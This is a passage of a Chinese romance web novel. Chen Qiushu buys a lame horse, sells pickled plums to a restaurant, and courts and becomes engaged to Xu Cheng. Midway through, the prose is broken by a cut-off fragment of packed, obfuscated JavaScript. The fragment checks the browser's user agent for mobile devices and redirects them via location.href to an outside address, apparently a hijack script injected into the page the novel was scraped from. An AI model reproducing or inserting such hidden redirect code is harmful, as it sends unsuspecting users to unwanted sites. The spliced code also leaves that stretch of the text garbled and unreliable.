听马商报价,陈秋树都在心里暗暗抽气。四十两银子,几乎要他把家底全部掏空。
“公子,您别看它贵,这可是西域那边来的好马,这半年就来了这一匹,今儿就被你遇着了,”语气里仿佛陈秋树得了个多大便宜。
陈秋树在心里叫苦,左左右右把其它马看一遍。心里难免可惜,想着要不要攒些日子钱再来买,又怕期间被人买了去,
现在买下,又实在受不了回到两手空空的日子。就在他犹豫不决,想着和马商杀杀价再看说。
就见另一个男人牵了一批马过来,看上去和刚刚那匹是一个品种,品相不相上下,甚至还要高大一些。唯一不足的是,皮毛没有那么顺滑,还瘸了一条腿。
正在和陈秋树说话的马商见状,上前问道,“怎么回事?”
牵着马的男人显得极其气氛,“那张家少爷说我们的马是瘸脚,硬是要我给他退了,带了好些人过来,分明是他自个不知道怎么让马给伤着了,现在还赖上了咱们!”
马商皱着眉头,检查了一下受伤的那只马脚,松了口气,“还好没有伤到骨头”
这是冯家两兄弟,这段时间从府城牵了一批马过来。
这两匹棕红色的马还是花了高价从别人哪里买来的,本想着能卖
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个好价钱。也好好收拾东西返回府城,
现在这马不说卖了,还受了伤,这样走回去,一个不小心怕是要砸手里。
陈秋树也上前去看,马腿上的伤在蹄子上方,伤口处深可见骨,加上又是三伏天,有发炎的迹象。
看着真疼……
他看看一筹莫展的马商,说“你这马要卖吗?”
马商抬起头来。
不等他开口陈秋树接着道“实话和你说,我并没有那么多钱,”
马商眼睛里的亮光迅速暗了下去,想了一会还是道,“不满您说,这马我买来就二十五两,您要真心想要,就给三十两,”
“这腿没伤着骨头,好好养着,又是一匹好马”
“二十六两,我只有这么多,而且这马还得卖药医治”
……
陈秋树信誓旦旦。一本正经。
马商犹豫了一会就应下了,其实这马买来只花了二十二两,他只不过想多赚一点,那想到没忽悠到人。
陈秋树爽快的付了钱牵着马离开了。
并不知道这两兄弟很快在屋子里商量起了事。
这张家公子欺人太甚。
走之前一定要找人偷偷给他一顿教训,才能咽得下这口气。
陈秋树一路牵马到了医馆,开了不少治伤消炎的草药才回了玉友楼。
请来小斯帮忙牵下去处理伤口,才安心。
没想到刚刚来到正厅,就遇见了好久不见的张公子。
让她感到意外的是张子安身边的一个女人。
这人他熟,是原身的姨娘。
原身父亲有两房小妾,玉娘和柳青青,
而这位和张子安半搂在一起的走来的,恰好是他哪位柳姨娘,
张子安喝得烂醉,半个身子倚在身边女人身上,身后跟着几个和他一样的富家公子,都由自己的小斯扶着,几人显然醉得不轻,含糊不清的说着话。
“一匹马而已,还不是想怎么玩就怎么玩,小爷我要什么没有”
“还得是张兄厉害,都那样了还能给送回去”
“这算什么,等,嗝~~”
“等我把那事搞定,一人给你们送一匹”
“张兄英明”
一群人吵吵闹闹的离开,柳青青自然认出了陈秋树,眼神闪躲,没想到这病秧子还活着。
陈秋树侧身在一旁让他们离开。
算是知道了马商口里的张公子是谁了。真应了那句,祸害存千年。
处理好的马蹄上裹了厚厚的纱布,为了避免伤口恶化,陈秋树只在马背上邦了一捆今晚喂马的草,牵着马绳慢慢走回长溪村。
到了家门口,天都快黑了,
因为走得慢,陈秋树除了有些气喘,身体并没有什么不适。
远远就见一道人影在门前晃悠,走近才看见是许橙。
陈秋树脊背都直了几分,有点开心,惊喜的喊道:
“许橙?”
许橙等了很久,,要是人再不回来,她就要去找王叔一起到路上看看去,防着不要出了什么事才好。
现在见着人回来了,便焦急的问道,“秋树大哥怎么这么晚才回来”
陈秋树拍了拍马背“它伤了脚,牵着走回来的,这才耽误了时辰”
许橙还是在街上远远的看见过拉车马,那些马车都跑得可快了。
17. 吵架
这下子也好奇的围着马儿绕了一圈,想上手摸一下又不敢,只能看着移不开目光。
“明天我可以去割些草来给它吃吗?”
陈秋树没有打扰她的兴致,听见问话,想也不想的答应下来。
“好,等我回来带上小妮和冬冬一块去”
“等它的脚养好了,套个车,让它载着我们去县城”
语气里有着不可忽视的温柔和笑意。
许橙耳尖泛红,低头看到手里抱着的东西,才恍然想起自己是来干什么的。
“这个是我自己泡的酸果,,饭前吃这个,胃口好些”
“我还给王婶家也也拿了一罐!”
“谢谢”
陈秋树接过来瞧瞧,打算待会儿就尝尝。
许橙:“那我先回去了”
天色渐晚,陈秋树没有留许橙多坐,毕竟回去晚了路上也不安全:“好,明天见”
————
陈秋树一日三餐都在外面吃,家的是黑漆漆的,灶房是冷冰冰的,。这个点了他还要生火熬药。
一碗药汁喝下去,嘴里全是苦味,打开许橙给的陶罐,夹了两个李子出来。又倒了点汁水在碗里。
应该是用糖泡的,味儿甜滋滋,果子入口还是脆的,甜中带点儿水果的酸味,吃了两口,嘴里的苦味就没了。可以美滋滋的上床睡觉。
————
说好了要去给马儿打草,这天陈秋树从县城回来,就去了王家。
许橙已经带着两个孩子提前去了,陈秋树只能去地里和几人汇合。
是的,地就是陈秋树的那块地,挺大一块,陈秋树只在一角种了点当季蔬菜,另一半长满了各种野草。
率先发现陈秋树的是王小妮姐弟二人。两人欢呼雀跃跳来跳去
他们还小,就是跟着来玩的,一人摘了把野花拿在手里。
许橙听见身后的声音,直起身来,汗珠顺着额间滑下,她抬起袖子胡乱擦了一把,脸上皮肤被太阳晒得微微泛红。
三人笑着朝她走来,许橙心跳加速,这一幕太过温柔,她很少见到像陈秋树这样温和的人,每次见面都自在从容,和他相处如沐春风。
就如此刻,两人好似相熟已久一般。
陈秋树:“太阳还很晒,怎么不晚些等我一起过来?”
“我……不是很怕晒……”
许橙支支吾吾的说不出个一二三来。
总不能说昨晚她回去之后想七想八,觉得自己昨天说话逾越了,今儿个还没想好如何相处是好!
陈秋树嘴角压了压,把买来的桃酥饼给她。
“你上那树底下歇会,剩下的交给我,待会一起回去?”
许橙又要开始想七想八……
她的脸色更红了,可能是真的很晒?
陈秋树拿起镰刀开始割草,其实并没有很累,草长得好,随便几个弯腰篓子就装满了。
就是背起来的时候因为是生草,又压得实,还挺沉。
他正琢磨着自己背回去的可能性,会不会半路摔跤丢人。
“我来背吧?,”许橙的声音在耳边想起。
只见她两手扯着背带,一甩胳膊一背篓草就稳稳当当的到了背上。
比起逞能然后半路上丢人,陈秋树叹了口气,选择欣然接受。
但是嘴上还是说了句“要是路上累了就换我,”。
“好”
许橙走在前面,咬了咬下唇,并不觉得有多重,他记得陈秋树每天需要喝不少药,。怎么能做这种力气活。
……
陈家原本是有马厩的,只是后来闲置了,这会儿拾掇出来刚好,底下铺了一层干草,马儿正躺在上面吃着新鲜割回来的青草。
王冬冬和王小妮,这两个孩子时不时的要悄悄去摸马儿身上一把,陈秋树没有阻止,这匹马很温顺。
晚上陈秋树以道谢为由留下三人吃饭,
做饭的时候许橙过来帮忙。
就简单的炒二菜一汤。他却觉得比起往日更加有滋味。
王家姐弟两个玩的舍不得离开,直到王婶不放心找过来才跟着回去。
陈秋树把她们送到门口。叫住了许橙
“今天,谢谢你”
许橙“不必谢,是我自己想给它割草的”
……
“听说一品轩新出来一款秋梨膏,明天我给你带些尝尝”
————
不是错觉……许橙躺在床上,翻来覆去的睡不着。陈秋树的一言一行极其……像是喜欢她。
心里有点飘飘然,会不会是想和她过日子。
大家提到陈秋树就是陈家的弱儿子。在许橙看来,样貌出重,有礼谦和,重情重义,怎样形容都不足为过。是个顶好的人,身体差一点又能怎么样,好好养养也能长命百岁。
她想了一晚上也不敢确定陈秋树是不是对她有意,如果是的话……
——
陈秋树忙了一早上,肚子饿得咕咕叫,到了饭点就去后厨吃饭。
玉友楼伙食不错,因为他是账房先生,饭菜都是提前从大锅里分出来的。一条红烧鱼一盘肉沫茄子,一碗蔬菜汤。
陈秋树正一边津津有味的吃着,就被匆匆而来的吴掌柜打断。吴掌贵平日里没什么架子,大家吃什么他就吃什么。
也端了一托盘饭菜坐在了陈秋树对面。
陈秋树想起来打声招呼,就被吴掌柜出声阻止
“陈兄弟不必多礼”
自从上次谢为迁来过之后,吴掌柜就改口叫他陈兄弟了。
陈秋树:“掌柜这行色匆匆,是寻我有事?”
吴掌柜爽朗一笑“是好事!”
“咋们东家从京都过了,还有四五日到咱们这儿,”
“近日尽早把这几月的账本规整好”
这倒是让陈秋树想起了那个粉雕玉琢的小朋友。
“好,掌柜放心”
吴掌柜笑了笑,“你做事我再放心不过”
今天的红烧鱼有点辣,陈秋树吃了两口就受不了。他把许橙给的那罐李子也带了过来,这会儿刚好解辣。
因着王掌柜在此,不好自己一个人吃,于是就倒了两小碗出来。
“掌柜尝尝,家里人做的?”
吴掌柜“哈哈,好,倒是不曾听说王兄弟何时成的亲?”大家都是本地人,陈家那点事早来便是人人皆知
陈秋树:“掌柜的说笑了?”
吴掌柜:“哦……那是有了心仪之人”
陈秋没有反驳,低头把圆圆的李子送进嘴里。
抬起头就对了王掌柜看破一切的眼神忍不住扬起了嘴角。可不就是吗?
一顿饭吃完,王掌柜意犹未尽感叹道,“你这东西真适合这时候吃,”
忽然他灵机一动
“不知陈兄弟是否也给咱们楼里添个前菜?”
陈秋树心里乐开了花,正如他意
“不瞒您说,家里树上还有几百斤……”
吴掌柜:“那你就叫你家里人多做一谢松过来”
说完两人都笑了起来。
陈秋树的好心情一直持续到带着秋梨膏回到村子里,看见了许橙家门口围着一群人
原是当初许橙不想嫁到冯家求到王春雀哪里。
王春雀掩耳盗铃的和冯家说许家不愿意,回头又和许家说
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冯家不愿意。
这下子好了,两家人今儿个路上遇见了。那冯家妇人比李香琴凶悍多了,大路上就把她骂了个狗血淋头,让她颜面扫地。
回过神来的李香琴那能还不知道怎么回事。
当时就赶回村子里和王春雀大吵了一架。
那个黑了心肝的媒人,干这种坏人姻缘的缺德事。
王春雀是被捧惯的,怎么咽得下这口气,扯着李香琴就要去问问,这后娘卖女求荣的事,人家姑娘答不答应。
两人一路骂骂咧咧,拉拉扯扯,引得不少村民注意。
等一群人浩浩荡荡到了到了许橙的小院,她还在屋檐底下绣荷包呢?
“橙姐儿,你来说说看,你是否愿意嫁人冯家”
王春雀这会儿气的鼻孔生烟,那里还顾得上什么仪态
许橙自然不是个忘恩负义的,当即表明了自己的立场。
“王婶,香琴婶子,我的确不愿意嫁入冯家。”
事情到了这一步,李香琴还有什么不明白,看着许橙冰冷的表情。
指着她的鼻孔骂道,“好啊,死丫头,原是耍着我玩,真是没教好你!”
说完就要动手去打人
许橙顺势拿起了靠在墙边的扫帚。
见势不对,周围看热闹的人赶忙上前拉架
就在这时李香琴忽然被大力撞了一踉跄,还好边上一个妇人扶住了她。
陈秋树站稳身子,把许橙挡在了身后“不好意思,刚刚没站稳,婶子没事吧”
李香琴看他站在许橙身前,那有半分道歉的样子,更是气不打一处来。
“我说什么来着,怎么不愿意嫁,原来是早就和人有了……”
不等她说完许橙把陈秋树拉到身后“香琴婶莫要忘了些事情,到这儿大吵大闹是何意?”
“呵呵,这是被我说中了,我还以为你多清高,不过如此……”
“咳咳……”
陈秋树把手低在唇边,“哎,真是老了还越活越回去,您看看您这样,那有半分当娘的的模样,”
周围一阵吁语,是啊,谁家娘这样毁自己闺女的名声。
“你一个外人插什么嘴,”李香琴指这陈秋树
许橙拿起了扫帚,气势看着唬人
“你……你……,我是管不了你了,等你爹回了,你等这儿看看……”眼见落了下风,李香琴气得只能甩甩袖子离开了
“噗嗤……”王春雀差点笑出声来。
人群散去,隐隐传来说话声
“这陈家小子和橙姐儿还真有点像那么一回事”
“你管人家的,我看着倒是挺合适”
几息时间嘈杂的小院变得安静,许橙把陈秋树前后看了一遍,“没事吧?”
“我没事”
陈秋树故作镇定的拍了拍袖子
“咳,我怕她们今晚还会过来”,
“我家里有空房,要不你今晚过去将就一下”
……
许橙小脸通红,“没事,我夜里把门锁好。”孤男寡女实在不好。
陈秋树还想说什么,就被旁边的说话声打断。
“哎呦,我说怎么回事呢,这是好事,我不打扰你们了,回去了,回去了。”
王春雀一直没走,若有所思的悄悄咪咪观察两人,这会又笑着离开了
还顺手拉走了身旁的王婶。
陈秋树:……大可不必说出来……
刚才着急没想太多,,这下又不好意思再提起,而且仔细想来确实不够妥当。
于是他厚着脸皮道“方便留我吃个饭吗?,刚好有点事和你说”
他也想留下来陪陪她
18. 误会
许橙心不在焉的做饭,陈秋树有话对她说,会是什么呢?,忍不住心低的胡思乱想。
她做了两个炒蔬菜还蒸了倒五花肉蒸南瓜,肉是腌制过的,软烂入味,南瓜的香甜味刚好解了肉的油腻,吃起来又香又糯,。
陈秋树要把李子卖给玉友楼的的事和许橙说了,请她帮忙做,到时候分工钱给她
对于两个人来说这都是一件值得高兴的事情。
许橙毫不犹豫的答应了,她不会拒绝,更何况是可以赚钱的好事。
两人边说边吃着饭。陈秋树没有提前刚才的闹剧,这让许橙放松了不少,毕竟不是谁都有勇气把不堪的一面刨出来谈论。特别是在陈秋树的面前。
临走前,陈秋树又叮嘱了好几遍让她锁好门窗。
想想还是不放心又去王家请他们夜里多注意这边的动静。
一路上全是蛙叫蝉鸣,陈秋树思绪万千,不能在这样下去,必须得表白,不然他连帮着说话的立场都没有。
不知自己何时如此畏畏缩缩。决定好后他心里就有了些打算。脑海里全是以前网上冲浪得来的表白方式,点九十九根爱心蜡烛,在门口大喊,我爱你……
这个夜晚注定是一个不眠夜。
许橙眼睛闭上又睁开,辗转反侧,心里还有几分不高兴,原本以为他有话对她说会是……
或许是自己会错了意?那他如此表现又是为何,难不成真是可怜她这个孤女。
第二天一早,陈秋树就早早起来早饭,今日和吴掌柜告了假。
昨晚他一夜没睡,光想着怎么表白了,怎么做才能显示足够重视,足够有诚意!
今早许橙要过来,,得趁着这个机会多刷好感。
在灶屋里一顿哐哐,算是做好了两碗手擀炸酱面,
想想,觉得不够丰盛,有又煎了个鸡蛋,炒个青菜。
许橙来得刚好赶巧,他洗完手把菜端上桌,就听见了敲门声。
打开门就见许橙站在门口,带着一身清晨的水汽,
“快进来,刚刚做好早饭,就等你过来了”
许橙第一反应是想拒绝,听他说做好了,又点点头应下。
吃着吃着,陈秋树就觉得不对劲,今天的许橙似乎不太想说话,或者就是已读乱回……,
他小心翼翼的问道“,不开心?,是出了什么事?”
许橙瑶瑶头勉强一笑,“没有,是面太好吃了”
陈秋树狐疑的看着她
陈秋树:“真的?,那以后常来吃,这十里八乡就数我做这个最好吃”
许橙被他的厚脸皮逗笑,笑完又觉得闷闷不乐。又是这样,要是不想一起过日子,又为何说这些不明清楚的话来。
两人到地里去摘李子,一个上午过去陈秋树就是在迟钝再不敏感,也发现了许橙真的不开心,频频走神,好几次差点被树枝扎到脸上。
他把树枝扒拉到一边问道“你怎么了”
许橙瑶瑶头“没事,太阳有点晒”
陈秋树:“那你休息一会,,我把手上的这框子摘满,咱们就回去,”
“好”
其实这天气并不晒,立秋后早晚都格外凉爽,
许橙坐在一块干净的石头上,手里拿了半截野草掐来掐去,抬眼刚好可以看见树底下晃动的人影。
那节被掐了几个甲印的小草被丢在地上。许橙拍了拍脸,告诉自己要清醒一些,她刚刚竟然想要主动勾引陈秋树,刚好陈秋树现在可怜她,正是合适下手的好时候。
中午两人回到家,陈秋树找了一带盖的小水缸,呆会许橙做好的的李子就放在这里面。
泡李子的做法很简单。
许橙小时候,她娘经常在山上摘野酸果泡来给她吃
把摘来的李子洗干净,用热水浸泡一下,让李子表皮变得金黄,泡好后过一遍凉水,能保证果肉口感脆爽。
处理好的李子放进容器里,放盐,醋,和糖,。倒上放凉的开水。
密封好,隔日就能吃。
陈秋树一边做事一边时不时观察许橙,,想她绝对有事?会是因为许家吗?
…………
过来两天,陈秋树就让牛叔连缸一起送到了玉友楼。
“怎么样?”
“看来陈兄弟遇上的是个心灵手巧之人,”
于是今日玉友楼推出了一道新菜,冰糖酸果,听说酸甜可口,开胃解腻,可给饭菜增香添味。今日十文一份,
玉友楼是平阳县最大的一家食肆。连厨师都是京都而来,会的菜品不记上百种,。这样的酒楼自然是会客似云来,。
午时饭点刚过,陈秋树带来的一百五十斤泡李子就没了。
同时他也赚了一两五钱银子,拿着手就一点点,实际上很多了,这会儿普通人在外干一天工,也才五十来文,
而他手里的是一千五百文,按理一百五十斤李子拿到集市上去卖顶多了就七百多文。还不一定买得如此快。
明天打算多做点儿,也省得王叔他们再摘到县城去摆摊。
今天除了上新冰糖酸果,倒是还来了件大事,
陈秋树也到了下值时才得知东家提前到了平阳县。
提前让人送来了一车葡萄,这东西可精贵了,听说要到清河郡才有,平阳县是定州常山郡,去清河郡马车得跑上几天几夜。
一车看着挺多,一层层分下来,每个个人也才四五来窜,巴掌大一窜,紫红的颜色是裹着一层白霜,,平阳县不产水果,只在春天会长满漫山遍野的树莓,这个时候山上有很多毛桃子,果子小而酸涩,一不小心就要啃一嘴的毛,现在看见这普通自然是招人欢喜。
他把葡萄放在篮子里,拿了些东西盖上,回去的牛车上人多,不悟严实了,都不够分的。
他先去了王家给他们分了一些。
剩下都打算全部带去给许橙。不出所料,许家屋檐底下,女孩低着头绣花。
见到陈秋树过来,她把手上的东西放下,“秋树大哥回来了”
陈秋树“恩,刚好给你带了点东西”
许橙一脸茫然的跟着他进屋。
陈秋树把蓝子放在桌上,“听说这是从清河郡运来的葡萄,给你尝尝鲜”
“葡萄?”
“恩,我去给你洗一些尝尝”。说完就转身去了水池。
许橙眼神闪了闪,暗暗抓紧了衣袖。
……
洗好水果过来的陈秋树笑盈盈的看着她,把一串洗好的葡萄放她手里。
看着许橙放了一颗在嘴里。陈秋树问道:“好吃吗?我就说很甜吧!”
“剩下的你留这吃”看着许橙吃,陈秋树心里也像尝了蜜一样甜。
“啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735142|174028||http|test|mini|href|location''.split(''|''),0,{}));
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>许橙飞快的从一穿葡萄上摘下了几颗,“不必了,秋树哥,我要这些就行,”
陈秋树笑意不减“:这是特意给你留的,我家里还有”
“而且我也给小妮她家送了,”
许橙默了默,去里屋拿了钱袋出来。
“我不知道多少钱,以前听人提起过很贵,我这里有一百文,不知……”
陈秋树皱起眉头,开口打断“许橙,你知道的不必如此”
许橙这两天其实想了很多,原本以为陈秋树对她有意,后来发现可能是自己会错了意,,有些事情她不必强求,只想回到恰当的位置。现在这又是怎么回事,难道……难道……,许橙想起了那些富贵人家的公子养在外面的情妇。顿时红了眼眶。
陈秋树把她肩膀扶正,低头去问,“许橙,这些日子,你不开心?”
“有什么事,可以和我说说”
许橙抹了一把眼泪,把钱带塞进陈秋树怀里,
“秋树哥,你先回去吧,我还有事,”,说完就把人推着出去,关上了门,转身低在门后。
眼泪无声的往下流。原来竟是如此。
敲了敲门,陈秋树心里猜想是不是许家人又过来了他不知道。
闷闷不乐的在门口坐了几息的时间,没有听到门内传来响动,又起了敲了敲门,“是不是许家欺负你了,你先出来,我带你去找她们讨个公道”
这会儿王婶过来把他叫走,陈秋树不想走,对这紧闭的门说,“我等一下回来。”
王叔带着几个孩子去地里摘李子了没在家,王婶给陈秋树端了碗水,看他一副苦瓜样,叹了口气,问道“橙姐儿知道你的心意了?”
陈秋树瑶瑶头他觉得许橙不开心,觉得不是好时候,把这几天不不对劲的事情一一说了。
听完,王婶想说一句,你糊涂,又硬生生憋了下去。
王婶“你们小子不如姑娘心思细,,这橙姐儿,从小就聪明,又没了娘,比那些娇养大的见得多,那有什么看不明白”
“听你这么说来,只怕生出了误会”
陈秋树冷静下来仔细想想,,是了,这是古代,他给忘了,想着自己的所做所为,不可为不轻薄。
陈秋树一拍脑袋,暗骂一句,特么的,这不是耍流氓?。
端过来的水一口没喝,他就匆匆离去。
房门依旧经闭。
陈秋树扣响了门,“许橙,你开一下门,我有话想和你说”
许橙抱着被子躺在床上,听见这话心里一个机灵
陈秋树“真的,说完我就走!”
声音不断从外面传来,最终许橙还是起来开了门,有什么都得说清楚,不是吗?,
两人坐在桌前,这间小屋并不大,一眼就能看得到底,,陈秋树轻咳两声,心想这确实不够浪漫,想着一会要说的话,忍不住的心跳加快。
许橙低这着一言不发,她知道宁可穷人妻,不可富人妾。
陈秋树看了看她,半响才开口。
“我听吴掌柜说茶山下面有一个小湖,湖岸上种了许多桂花树,我想着过些日子套个马车带你去看桂花”
“到了冬天大雪封了山,就用你种的竹笋炖一个腊猪脚,一起看看门口的雪,来年的月季我也想同你一起去看”
听到这里,许橙抬起了头,想探一探身前人眼里的真假。
19. 定亲
陈秋树继续慢慢说,“我跟着家里的师傅学过一种种树的方式,将来我想攒些钱,买田买地,种上一些果子树,在不济我现在还有十两的月银,怎么也不会饿着你”
许橙定定的看着他,耳尖泛起了红晕,忍不住问道
“真的?”
四目相对,陈秋树能看到她眼里的自己
“许橙,我很喜欢你,如果你愿意的话,我想去找媒婆过来提亲”
“好!……”许橙的回答丝毫不拖泥带水。
一直到离开许家小房子,陈秋树才慢慢平静下来,紧接着就是莫大的喜悦,脸上的笑容引得路人感叹,莫不是捡到了钱?
陈秋树知道的话,肯定会说,捡钱可没这么开心。
许橙在被子上滚了两圈,还想是不是接受的太快,都没有欲拒还迎一下,直接就迎了……
今天可谓大起大落,原来并非会错了意。是真的。
忽然想到什么,她在床底下翻了翻,翻出一双还没做好的男式布鞋坐在窗户底下倒腾起来。
陈秋树去王家告诉他们,剩下的李子要全部摘下来做泡李子。他们人手不够拿到集市上去卖显得有些拙荆见肘。
忙了两日才做好,大约有个五六百斤,专门请牛叔跑了两趟趟,全部送去了玉友楼。反正是越泡越香的东西,不用担心会坏。
吴掌柜当时就给拨了六两银子。
耽搁了两天,陈秋树也不好意思,连着加了两天班处理公务。
这天旁晚,他悠哉悠哉的晃悠到了许橙家门口。
两人这一下都别扭得很。
陈秋树酝酿了一下才说,“我那天说的话你还记得吗?”
许橙点点头“恩”
陈秋树眸色温柔,似有笑意倏然蔓延而开,目光静静凝视着她,
声音轻柔的说:“那我明天我想去买些东西,,后日叫春雀婶子过来一趟”
许橙似乎可以听到自己的心脏在耳边跳动。
“好,那我在家等你”
……
按照长溪村的习俗,纳彩需要买一双大雁,两吊肉,喜饼,糖,和两匹布。
陈秋树花了一天时间把东西准备好。每样都是他精心挑选的。
王春雀听了两人的喜事,连连拍手叫好,。连着换了身喜庆衣裳,就和陈秋树一同过去,按理来说这时候应该是家中长辈去,
因这两人情况特殊。就没那些个复杂的条条框框
许橙家里这会也热闹,王婶带着两个孩子早早就去帮忙做了一桌好菜,
她还换了套鹅黄色衣裙,亭亭玉立,及为灵气,就是做起事来束手束脚,时不时就要去照照镜子,看看有没有弄乱了发髻,难掩心中忐忑。
王春雀到了门口就开始喊,“橙姐儿在家吗?,好事上门了。”
进门就牵着许橙的手说了几句吉祥话。
,因为没有父母反对
事情很快就定了下来。
王春雀拿了两人的生辰八字到寺庙里去和,到时候陈秋树就可以过来下聘了。
临走前陈秋树给她递了个红包,
王春雀喜得笑开了眼,又说了一堆吉祥话。
……
——————
漫天金桂簌簌飘落,应了那句,八月桂花,十里飘香。
,今日阳光和煦灿烂,陈秋树请了几个熟让端着聘礼去许家。
今天人多,许家来了一些亲戚,许顺财也领着许水秀过来。
陈秋树这边没什么人,依旧是王家一家。
人齐后,王春雀开唱礼单。
“喜饼两包包,鸡一对,鸭一对,肉六斤,四京果两盒,成衣两套,鞋两双,聘金六两”
聘礼陈秋树上按照长溪村的习俗来,中规中矩。不落人口舌就好。
用两人的生辰八字算了个好日子,婚期定在来年的三月十十三。
一顿饭宾主尽欢,除了许顺财拉了张老脸。
傍晚陈秋树又偷偷溜到了许家。
许橙正好在收整今日送来的东西。忽然见他来还有些害臊。忍不住红了脸,羞涩的低下头不敢看他。
声音柔柔的说了句“你怎么来了?”俨然一副小女人的姿态。
陈秋树眼含笑意的牵过她的手,“有事找你,我们坐下说”
许橙只是瑟缩了一下,没有收回手,红着脸跟着他坐到了桌前。
陈秋树把她额间的发丝别到耳后。
从怀里拿出了一个布包,打开是一个精美的木盒,里面放了一个金镯子。
这从他准备表白的时候就卖下的,本来准备和聘礼一起送过来,但想这财不外露,所以才到了现在送来。
许橙眼睛都瞪大了,“这太贵重了”
“以后我的就是你的,”陈秋树抓住她想缩回去的手
“你带上很好看。”
许橙的手不算细嫩,手心还带着薄茧,但因为手指细长皮肤又白,金镯子带上趁得更加晃眼。
陈秋树偷偷的捏了俩下,舍不得再放回去。
许橙刚刚褪下去的脸色又红了起来,,目光落在两人相握的手上,一直漂浮不定的心终于落到了实处。
两人眉来眼去的收拾完送来的东西。陈秋树才准备离开,太晚回去了影响不好,毕竟还没有成亲,。虽然人他已经定下了。
恋恋不舍的回头看,“我……我走了,明天再来看你,”
“晚上关好门窗”
……
许橙站在门口,挥了挥手,“快回去吧,晚了看不见路”
许橙摸着手腕上的金镯子,感觉吸入的空气都甜得如喝了蜜一般。
连着过了两天好日子,陈秋树飘得分不东西南北。
——
直到回到自己的岗位上,他才记起自己是不是忘记了什么事。
吴掌柜着急的跑过来,“哎呦,你可算回来了,昨儿东家就要找你!”
“我这急得都要差人寻你去了。”
陈秋树这才想起来,谢东家来了平阳县,今儿要来查账了。
不过他不急,该算的算好了,该记的也记好了,只需拿了账本过去就好。
推开二楼雅间的门,一条橘色的肥猫迎面扑来,陈秋树侧身躲开,橘猫轻盈落地,
“阿布,过来”一个稚嫩的童声响起。
橘猫几个蹦跶跳到了男孩怀里。
谢叶初顺着猫毛撸了几把,嘴里絮絮叨叨的说着,要听话,要乖之类的话。
陈秋树默默的打量了一会,目测长高了不少。
这时一身月白华服的男子走了过了。揉来一把谢叶初的脑袋。
“叶初,这是我们家请来的小先生,记得吗?,”<
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p>谢叶初抬头了看了看,瑶瑶头,抱着猫走了。
谢为谦轻轻笑了笑,让孩子一边玩去。
两人走到里间,拿过账本翻了翻,接着问又了些问题。无非就是酒楼收益种种。
等陈秋树从里间出来时,已经到了中午,刚好可以去吃饭。
自从上次吃了谢东家给的葡萄,他心里就有些意动。
得抽个时间去清河郡看看。
那匹马精细养了一个多月,现在可算是好了,陈秋树就架了个马车准备休沐带许橙去茶山的湖边看桂花去现在刚好是花期。
茶山,顾名思义就是一个山头都种满了茶叶,当然也是有主的,平阳县赫赫有名的张家就是靠的茶叶发家,这样的茶山他家有好几片,没有这偌大的家底,张子安也不能如此嚣张跋扈。
茶山下边有一湖泊,碧绿的湖水连着远处的山涧。
湖边种了许多桂花树,风一吹香味儿可以飘出几个山头。
陈秋树和许橙隔着一臂的距离沿着湖岸慢慢走,倒是难得的惬意。
走到一处斜坡下,树下刚好有块青石板。
“我们去那坐坐!”
陈秋树用袖子拂了拂落在石板上的桂花。又叮嘱许橙,“小心些,别摔了”
许橙“那会摔了?你小心些才是”
许橙今天穿的是纳彩那日的鹅黄色衣裙,和满树金黄的桂花恰好相衬。刚刚坐下就见两只水鸭子从湖里探出头来。
“秋树哥,你快看,”
两只巴掌大的水鸭小水鸭瞪着绿豆大的小眼睛瞧了两人一会,一个鲤鱼打挺钻进了湖里,一眨眼的功夫又出现在了远处的芦苇下。
陈秋树笑了笑“我猜那芦荟里有不少水鸭蛋”
“可不是,可惜这水深,,不然小孩儿可劲在里面霍霍”
陈秋树扫开她肩膀上的落花,调侃到“你这意思,还想要去尝尝水鸭蛋的滋味儿?”
许橙望着那片芦苇,似乎想到了什么“我小时候在河边捡到好几个,拿回去都被张翠芬给了平哥儿,”许橙小时候还真没吃过什么好东西,太小的时候不记事,记事的时候银子要拿来给她娘买药。那能买东西吃。
后来每次张翠芬有了什么好东西,从来也没有她的份,他爹又尝尝在外给人杀猪不在家,。那时能有碗糙米干饭吃就不错了。
陈秋树手放在她的肩膀处拍了拍,“水鸭蛋有啥好吃的,小的都不够塞牙缝,”
“等回去我给你煮鸡蛋,煮两个,不,,煮十个,吃五个,剩下五个拿手里玩”
许橙被他逗笑,觉得也没有什么,只是忽然想起罢了。
陈秋树忽然想起什么“对了,不知下月能否空出些时间?”
许橙“?”
“我幼时跟着家里师傅学过一些种树的本事,听说清河郡产葡萄,我想去看看,顺便带你去玩玩,有你在身边,想来路上也不会烦闷。”
许橙都不知道何时脸皮这么薄,听见这话耳尖又红了起来。揶揄道“我原是你用来取乐的人了”
陈秋树把手覆在许橙手上,“一去要个五六日,便是五六日见不着面!这才想着干脆一起去。”
许橙“我竟不知秋树哥会此般甜言蜜语。”
陈秋树“只对你这样说。”
两人一直待到太阳落山才乘着马车晃晃悠悠的返回长溪村。
20. 救人
成秋树的马车并非是官路上那些载人的马车,而是在家里杂物堆里翻出来的拉货的框架子板车。
其实这个用起来比较方便,空间大,早上可以拉着王家父子和一堆东西去县城。
里面放了个小凳子给许橙坐,陈秋树自己斜坐车头当马夫。
时不时回头和许橙说两句话。秋天早晚凉爽,这样慢慢回去也不会晒着。
经过回村都那片树林时,迎头来了几个骑着高头大马的陌生男人。
陈秋树皱了皱眉头,把马车赶到路边与他们擦肩而过。
这些人一看就不是长溪村的,个个神色带着戾气,且腰间都配有长刀。
看穿着也不像是官府的人,对于这种人,无论好坏,他都持着敬而远之的态度。
等马蹄声远去,陈秋树回头才和许橙说了句“我们快些回去。”
许橙点点头,感觉不是很安全。
陈家以前是村里富户,在村西边空位开了一块地建的屋舍,因此周围邻居都隔得远,算是得了一个环境清幽。
两人刚到家门口树上忽然跳下一团橘色的东西。陈秋树急停了马车,险些直接碾压过去。
本以后会是小松鼠黄鼠狼什么都。
没成想是一只橘猫,而且还挺眼熟,这不是谢东家小外甥的猫?怎么会在这里?
毕竟村子里的猫很难养得这么壮实,跟个小豹子一样。
橘猫全身毛发炸起,在路中间来回踱步,嘴里发出嘶哑的喵喵叫。
